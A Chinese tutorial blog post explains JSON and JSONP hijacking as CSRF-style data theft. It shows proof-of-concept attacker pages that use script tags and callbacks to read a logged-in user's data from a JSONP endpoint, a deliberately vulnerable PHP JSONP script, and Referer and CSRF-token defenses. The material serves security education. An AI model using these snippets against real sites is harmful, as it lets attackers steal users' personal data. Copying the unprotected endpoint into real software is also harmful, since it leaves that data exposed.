详解JSON和JSONP劫持以及解决方法

作者:性能诊所

时间:2026-10-23

浏览:149

本文深入解析JSON与JSONP劫持的攻击原理,指出二者均属于CSRF攻击范畴。通过模拟攻击场景,说明攻击者如何利用Script标签或跨域特性窃取敏感数据。文章提供了验证HTTP Referer头及添加CSRF Token等核心防御措施,并附带PHP与jQuery的实战代码示例,帮助开发者理解并修复相关漏洞。

文章目录

JSON劫持原理与攻击流程

JSON劫持

JSON劫持攻击(JSON Hijacking)在流程上与CSRF类似,但CSRF仅关注发送HTTP请求,而JSON劫持的核心目的是窃取敏感数据。

部分Web应用会将敏感数据以JSON格式返回至前端。若系统仅依赖Cookie验证请求合法性,攻击者即可利用类似CSRF的手法,向目标服务器发送请求,从而获取敏感信息。

例如,当用户已登录时,访问特定链接会返回JSON格式的用户信息。

http://www.test.com/userinfo

攻击者可在其控制的虚假页面中嵌入如下代码片段:


<script src="http://www.test.com/userinfo"></script>

若浏览器已登录目标网站(如www.test.com)且Cookie未过期,访问攻击者的虚假页面后,该页面即可获取JSON格式的用户敏感信息。这是因为Script标签会自动解析JSON数据并生成对应的JavaScript对象。随后通过


Object.prototype.__defineSetter__

该函数触发攻击者的恶意代码执行。

然而,此方法在新版Chrome和Firefox浏览器中已失效。

JSONP劫持机制与风险

JSONP劫持

JSONP是一种非官方协议,利用Script元素的跨域策略,允许网页获取其他来源动态生成的JSON数据,常用于实现跨域请求(相关参考:https://www.jb51.net/article/31167.htm)。

若Web程序通过此方式实现跨域,攻击者可在其虚假页面中发起恶意的JSONP请求,从而引发安全问题。示例如下:


<script>
function useUserInfo(v){
  alert(v.username);
}
</script>
<script src="http://www.test.com/userinfo?callback=useUserInfo"></script>

若服务器端的userinfo接口支持JSONP,虚假页面即可成功执行useUserInfo函数,导致安全漏洞。

JSON与JSONP劫持的防御方案

解决方法

JSON劫持与JSONP劫持均属于CSRF(跨站请求伪造)攻击范畴,因此其防御方法与解决CSRF问题的方法一致。

1、验证HTTP Referer头信息; 2、在请求中添加CSRF Token并在后端进行验证;

关于CSRF攻击的更多详情,可参考博文:https://www.jb51.net/article/157550.htm

JSONP劫持实战代码示例

补充:JSONP劫持漏洞实例

getUser.php


<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

Payload利用:

客户端实现callbackFunction函数


<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
    {
      alert(result.name);
    }
</script>
<script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>

jQuery使用JSONP


<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JSONP劫持测试</title>
  <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>  
</head>
<body>
<div id="divCustomers"></div>

<script type="text/javascript">  
  $.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){
     alert(getUsers.name);
  });
</script>
</body>
</html>

以上为本文全部内容,希望对读者学习有所帮助,欢迎支持本站。版权声明:本文为博主原创文章,转载请附上博文链接!

实用工具推荐

电子包浆

绿化、压缩、噪点和虚拟水印,自由调节做旧程度。

使用 ›
图片压缩

选择画质和输出格式,预览压缩前后的大小。

使用 ›
相关文章